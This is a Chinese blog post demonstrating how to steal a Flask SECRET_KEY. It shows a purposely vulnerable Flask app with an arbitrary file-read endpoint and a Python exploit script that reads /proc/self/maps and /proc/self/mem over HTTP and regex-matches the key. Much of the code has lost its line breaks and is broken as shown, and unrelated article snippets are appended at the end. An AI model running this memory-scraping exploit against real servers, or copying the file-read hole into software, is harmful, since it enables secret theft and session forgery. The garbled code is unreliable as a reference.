Flask存儲在內存中的密鑰被讀取

局限性:查找的密鑰具有特征碼

一、Flask環境源碼

1.Flask主文件main.py

import os
import uuid
from flask import Flask, request, session, render_template
from cat import catflag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"ck = "2132131passwdwdwdw"
@app.route('/info', methods=["GET", 'POST'])
def info():filename = request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")return cat(filename, start, end)@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=80)

2.依賴文件cat.py

import os, sys, getoptdef cat(filename, start=0, end=0) -> bytes:data = b''try:start = int(start)end = int(end)except:start = 0end = 0if filename != "" and os.access(filename, os.R_OK):f = open(filename, "rb")if start >= 0:f.seek(start)if end >= start and end != 0:data = f.read(end - start)else:data = f.read()else:data = f.read()f.close()else:data = ("File `%s` not exist or can not be read" % filename).encode()return data

二、內存讀取密碼腳本

import requests
import re
url = "http://192.168.31.165/"
# Flask預設了任意文件訪問漏洞
map_list = requests.get(url + f"info?file=/proc/self/maps")
map_list = map_list.text.split("\n")
# map_list內容舉例(/proc/self/maps)
# 7f463445e000-7f463445f000 r--p 00000000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f463445f000-7f4634463000 r-xp 00001000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634463000-7f4634464000 r--p 00005000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634464000-7f4634465000 r--p 00005000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634465000-7f4634466000 rw-p 00006000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
print(len(map_list))
start = 0
end = 0
# 下面主要的思路是去進行暴力循環,然后再進行正則匹配(因為Flask具有特征其包含abcdefgh)
for i in map_list:# 這塊內存區域需要具備可寫入權限(r--表示可讀不可寫不可操作,rw-表示可讀可寫不可操作)# 因為這塊區域是分配給我們程序的所有應該具備可寫權限map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:start = int(map_addr.group(1), 16)end = int(map_addr.group(2), 16)# 匹配到該內存段的起始和結束地址# 獲取該信息是我們讀取/proc/self/maps的主要目的print("Found rw addr:", start, "-", end)# 讀取內存空間,并進行正則字段匹配response = requests.get(url + f"info?file=/proc/self/mem&start={start}&end={end}")# print(response.text)if "abcdefgh" in response.text:# 正則匹配,本題secret key格式為32個小寫字母或數字,再加上*abcdefghsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)if secret_key:print("Secret Key:", secret_key[0])s_key = secret_key[0]break

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/214697.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/214697.shtml
英文地址,請注明出處:http://en.pswp.cn/news/214697.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

51.Go操作kafka示例(kafka-go庫)

文章目錄 一、簡介二、生產者三、消費者 代碼地址:https://gitee.com/lymgoforIT/golang-trick/tree/master/31-kafka-go 一、簡介 之前已經介紹過一個操作kafka的go庫了,28.windows安裝kafka,Go操作kafka示例(sarama庫&#xf…

二叉搜索樹的最近公共祖先【數據結構】

二叉搜索樹的最近公共祖先 題目描述 給定一棵二叉搜索樹的先序遍歷序列,要求你找出任意兩結點的最近公共祖先結點(簡稱 LCA)。 輸入 輸入的第一行給出兩個正整數:待查詢的結點對數 M(≤ 1 000)和二叉搜索…

基于JavaWeb+SpringBoot+Vue在線拍賣系統的設計和實現

基于JavaWebSpringBootVue在線拍賣系統系統的設計和實現 源碼獲取入口Lun文目錄前言主要技術系統設計功能截圖訂閱經典源碼專欄Java項目精品實戰案例《500套》 源碼獲取 源碼獲取入口 Lun文目錄 摘 要 1 Abstract 1 1 系統概述 4 1.1 概述 4 1.2課題意義 4 1.3 主要內容 4 2 …

Git命令---綁定遠程倉庫

介紹 使用git命令綁定遠程倉庫 命令 git remote add origin https://gitee.com/x.xx.com/test.git

什么是多態

/*** Description 什么是多態*/ package com.oop;import com.oop.demo06.Person; import com.oop.demo06.Student;public class Application {public static void main(String[] args) {//一個對象的實際類型是確定的//new Student();//new Person();//可以指向的引用類型就不確…

C++新經典模板與泛型編程:策略技術中的算法策略

策略技術中的算法策略 在之前博客中funcsum()函數模板中,實現了對數組元素的求和運算。求和在這里可以看作一種算法,擴展一下思路,對數組元素求差、求乘積、求最大值和最小值等,都可以看作算法。而當前的funcsum()函數模板中&…

MySQL使用教程

數據構成了我們日益數字化的社會基礎。想象一下,從移動應用和銀行系統到搜索引擎,再到如 ChatGPT 這樣的先進人工智能聊天機器人,這些工具若沒有數據支撐,將寸步難行。你有沒有好奇過這些海量數據都存放在哪里呢?答案正…

2023年團體程序設計天梯賽——總決賽題

F-L1-1 最好的文檔 有一位軟件工程師說過一句很有道理的話:“Good code is its own best documentation.”(好代碼本身就是最好的文檔)。本題就請你直接在屏幕上輸出這句話。 輸入格式: 本題沒有輸入。 輸出格式: 在一…

讀excel文件,借助openpyxl工具

讀excel文件,借助openpyxl工具 import osimport requestsos.environ["http_proxy"] "http://127.0.0.1:7890" os.environ["https_proxy"] "http://127.0.0.1:7890"base_url "https://testnet.starscan.io/explore…

ALNS4VRPTWTF

文章概述 文章研究了城市物流背景下帶有第三方轉運設施的車輛路徑問題。與經典的車輛路徑問題不同,這些問題提供了將客戶需求交付給第三方轉運設施(如城市集散中心)的選擇,并收取一定的費用。為了解決這些挑戰,該研究…

LeetCode 279完全平方數 139單詞拆分 卡碼網 56攜帶礦石資源(多重背包) | 代碼隨想錄25期訓練營day45

動態規劃算法6 LeetCode 279 完全平方數 2023.12.11 題目鏈接代碼隨想錄講解[鏈接] int numSquares(int n) {//1確定dp數組,其下標表示j的完全平方數的最少數量//3初始化,將dp[0]初始化為0,用于計算,其他值設為INT_MAX用于遞推…

物料分類帳概覽

原文地址:Overview: What is SAP Material Ledger? | SAP Blogs 物料分類賬是收集物料主數據存儲在物料主數據中的物料交易數據的工具。 物料分類帳使用此數據來計算價格以評估這些物料。 物料臺賬是實際成本核算的基礎。它允許以多種貨幣對材料庫存進行評估&am…

對象的生離死別

對象的生離死別 實驗介紹 在構建一個類時,一般情況下需要編寫構造函數、拷貝構造函數以及析構函數,這將直接影響程序的運行。而初始化列表是在調用構造函數時初始化參數的方式。 一個對象從實例化到銷毀的歷程: 知識點 內存分區構造函數exp…

java中什么是Spring Bean?

在Spring框架中,一個"Bean"是指由Spring IoC容器所管理的對象。這個對象可以是Java類的實例,也可以是引用其他對象的引用、集合或者是簡單類型。Spring Bean是應用中由IoC容器負責創建、裝配和管理的對象。 Spring中的Bean具有以下特征&#…

地牢手冊-3d

Description 你進入了一個3D的寶藏地宮中探尋到了寶藏,你可以找到走出地宮的路帶出寶藏,或者使用爐石空手回家。 地宮由立方體單位構成,立方體中不定會充滿巖石。向上、下、前、后、左、右移動一個單位需要一分鐘。你不能對角線移動并且地宮…

LabVIEW開發礦井排水監控系統

LabVIEW開發礦井排水監控系統 針對礦井水害對煤礦安全生產構成的威脅,設計了一種基于嵌入式PLC和LabVIEW的礦井排水監控系統。該系統結合了PLC的可靠控制與單片機的應用靈活性,有效克服了傳統排水方法中的不足,如測量不準確、效率低下等問題…

react相關hooks(二)

不寫性能優化的時候 const Child (props) > {console.log(child function is recalled)// count1改變時多次執行return (<div><h1>{ props.count2}</h1></div>) } function app () {const [count1.setCount1] useState(0)const [count2.setCount…

ESP8266模塊(CH340)零基礎實戰

USB數據線連接ESP8266模塊到電腦 先按住FLASH鍵,再按一下RST鍵,然后松開 此時電腦可識別出CH340 COM接口 CH340芯片廠商網址: wch.cn 傳輸比特率9600 win11自帶驅動 下載Arduino IDE

一文了解什么是Selenium自動化測試?

一、Selenium是什么&#xff1f; 用官網的一句話來講&#xff1a;Selenium automates browsers. Thats it&#xff01;簡單來講&#xff0c;Selenium是一個用于Web應用程序自動化測試工具。Selenium測試直接運行在瀏覽器中&#xff0c;就像真正的用戶在操作瀏覽器一樣。支持的瀏…

【美賽指南】新手小白必備參賽指南

美賽指南 一、2024美賽安排二、題目類型三、選題建議四、美賽前期準備五、常用算法 一、2024美賽安排 報名截至時間&#xff1a;2024年 2月2日 00&#xff1a;00 比賽時間&#xff1a;2024年 2月2日 6&#xff1a;00- 2月6日 9&#xff1a;00 提交截至日期&#xff1a;2024年2…